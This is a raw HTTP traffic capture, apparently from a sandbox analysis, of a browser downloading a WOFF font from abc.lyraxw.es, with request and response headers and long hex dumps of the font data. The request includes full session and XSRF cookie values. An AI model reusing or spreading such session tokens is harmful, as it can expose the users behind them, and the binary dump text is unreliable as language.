2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 27 ca e7 2a 3b b5 9b b5 5e 6d f4 12 71 64 a9 ee b5 17 4d 11 28 23 71 3b 57 2b 7a d0 27 9e 6c e8 ab a1 2c 75 38 40 b2 71 70 fd 28 b0 44 77 96 46 34 5e 7e a4 df f0 b6 3d 4a f7 af e3 54 97 b6 79 81 fa 19 dd c3 ab 9e 54 cb 57 ba 5c ff 10 96 f4 71 d9 ac ea ca 7a e7 bc ec 1b f8 05 d9 31 29 17 f9 e1 bb fb 5c 1c 5d 71 7a d8 0b cd 1c 53 fe fe b2 b4 3d 10 20 96 5c 95 bf 82 ec 7f 3a 32 4a e7 9a 90 90 57 12 7a fd 3c 0d ca 2b 2a c0 90 20 03 03 b5 15 91 74 de 12 46 09 c6 72 c2 be 42 61 8a 26 64 ef 9c cd 7f 9c 14 9e a3 37 72 fa 2f 17 51 8b c3 38 c9 eb 8e 2a 0a f9 8c 82 22 f4 76 b2 f8 94 af f1 c1 bc 1c 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 Data Ascii: ';^mqdM(#q;W+z'l,u8@qp(DwF4^~=JTyTW\qz1)\]qzS= \:2JWz<+ tFrBa&d7r/Q8*"v,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy]
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 83 5a ba 57 65 1c fc b8 6f e3 49 ec 6f 3b 33 20 a2 d8 b7 fc b0 6d e6 d4 d8 7f e0 70 37 98 4e be e4 a7 7d d3 d7 fe b8 6b 64 84 c3 6d fd 17 d0 66 01 77 ab d0 06 e1 ef 20 c7 14 32 5c 3c 9e f3 9e 6a bd 0b ff 41 39 d8 8a 03 fe 0f d2 46 2d e9 ed 73 8d 8c 55 99 e7 9a 82 cf 9d 96 dd 33 eb 50 4f f8 8b 60 2d 24 19 7e 2c 86 75 fc 9a 88 5f 11 f1 53 91 05 4f 52 f5 48 04 e2 a2 57 79 98 4e a0 4d da 1b f3 61 90 bc e6 d5 86 97 fa 37 e1 70 d4 90 31 be 7b 14 7b ea 31 24 e4 e7 36 ca a4 a4 4a a4 0e 3e f9 ac 08 e3 09 74 47 28 24 12 c2 91 fd 6a 5f 36 92 7e 36 f2 3d bc 8d 5c 34 a8 7e e9 db 8f 94 09 21 1b 42 3d 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 Data Ascii: ZWeoIo;3 mp7N}kdmfw 2\<jA9F-sU3PO`-$~,u_SORHWyNMa7p1{{1$6J>tG($j_6~6=\4~!B=}4P@0W\|}8WfjsY}DKMKmB
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 37 b8 e6 da 03 dc b3 cc ab ec 24 dc aa 94 7f a2 fe e7 6c 21 4b 8d 61 62 b1 21 8c 2c 75 b2 c4 51 d7 44 c9 c4 7b d5 7b bf e6 fb 01 16 52 9c 9d 80 af 1d 73 5e db f9 da 5b e6 5d ad ba 53 6c 84 af db 02 bb 6c 2f 79 f0 fc b8 6d 5c 92 2d 9f 27 8d 77 77 77 de fd 2c db e7 ef 9d 47 08 5d c5 ae de 3f dc cd c6 73 67 a0 ac 6f 0a 42 a6 4e 55 c3 bc d7 a7 80 36 bb 3b 4c 87 0b ff 78 f8 94 3c 73 fa 29 dc f5 34 07 0c 82 1c b2 fc f6 28 25 35 ec 51 98 3e e5 79 12 ec cc 3e a8 df 54 3f b3 8d d3 4e 3d dc 25 12 7d 23 a8 1b b7 3a 7e 84 e9 5c 57 59 a1 69 f8 4e cc 13 74 cb f6 59 8a f2 c7 7b 23 1e 5c 11 6f cd 9f 0e 5a 7b 48 bd b1 a1 bc 98 60 7c 98 af e8 a1 d0 37 2c 4c e8 f3 d2 5f 18 81 47 ca 7f f4 b6 87 82 e9 75 90 42 08 38 2a 3c 44 02 86 34 04 65 98 f6 e8 c4 68 ca 84 b1 22 27 99 42 Data Ascii: 7$l!Kab!,uQD{{Rs^[]Sll/ym\-'www,G]?sgoBNU6;Lx<s)4(%5Q>y>T?N=%}#:~\WYiNtY{#\oZ{H`\|7,L_GuB8*<D4eh"'B

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:50 UTC	1360	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive Origin: https://abc.lyraxw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
2025-03-17 22:11:51 UTC	1168	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:51 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Mon, 17 Mar 2025 20:11:58 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UMlYwENac%2BPndc0h7ToFQ7QXuSt%2B7u9c%2B6m%2FvvBox8lqkkB4%2B%2Fvb6gV1IKrpsLmHEiqONL9Kk4Ipn9PE8fsxVLdjssTsuSvxlUIphtxLFo%2F1sLPrNhClOv9JBwVYBuDlKAvX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1107&min_rtt=1100&rtt_var=322&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2320&delivery_rate=2538124&cwnd=250&unsent_bytes=0&cid=c1023a3be8089927&ts=23&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 921fd4138c8460e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2110&min_rtt=2101&rtt_var=807&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1932&delivery_rate=1340679&cwnd=214&unsent_bytes=0&cid=ec05a6a73e8458e9&ts=462&x=0"
2025-03-17 22:11:51 UTC	201	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gasp
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 Data Ascii: glyf!tRa$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: f4 6c fc ce 55 a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 Data Ascii: lUpmKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 19 46 9d 54 ba 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b Data Ascii: FT^Y,WEzJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 27 02 4d 4d 26 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 Data Ascii: 'MM&w$<!89&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 80 67 f4 7a 8a 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f Data Ascii: gzkvgG=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AO
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 Data Ascii: .nr4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc`
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba Data Ascii: ]cL+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: f9 f9 f1 44 92 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 Data Ascii: Di_\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 16 95 ca e8 20 b8 03 02 2d 63 74 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f Data Ascii: -ctuRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/O